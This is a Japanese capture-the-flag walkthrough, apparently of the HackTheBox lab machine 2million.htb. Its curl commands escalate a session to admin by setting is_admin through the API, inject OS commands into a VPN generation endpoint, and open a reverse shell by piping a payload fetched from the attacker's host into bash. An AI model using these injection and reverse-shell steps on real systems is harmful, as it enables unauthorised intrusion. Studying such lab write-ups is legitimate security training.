> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/api-attack/abus-api-hackthebox.md).
# HackTheBox API の悪用
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための HackTheBox API の悪用メモ。
## HACKTHEBOXのAPIの悪用
#### APIの観察
にアクセスすると `/api`、利用可能なルートが確認できる
#### VPN設定生成の試行（最初の失敗）
```bash
curl -v -X POST /
-H "Content-Type: application/json" /
--cookie "session=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/vpn/generate
```
レスポンス: 認証されていません。
#### APIを介したロールの変更
次のルートで user パラメータの変更を試します:
```bash
curl -X PUT /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/settings/update
```
> {"status":"danger","message":"必要なパラメータがありません: email"}
```bash
curl -X PUT /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```
> {"status":"danger","message":"必要なパラメータがありません: is/\_admin"}
```bash
curl -X PUT /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```
> レスポンス:
>
> {"id":15,"username":"Jordan","is/\_admin":1}
#### 管理者権限の確認
```bash
curl -s -X GET /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/auth | jq
{
"message": true
}
```
### コマンドインジェクションによるRCE
```bash
curl -s -X POST /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```
フィールドへのコマンドインジェクションの試行 `username`:
```bash
curl -s -X POST /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```
#### リバースシェル
1. **サーバーファイル**
```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```
2. **Netcatリスナー**
```bash
nc -nvlp 443
```
3. **コマンドの送信**
```bash
curl -s -X POST /
-H "Content-Type: application/json" /
-H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'
```
リバースシェルを取得する
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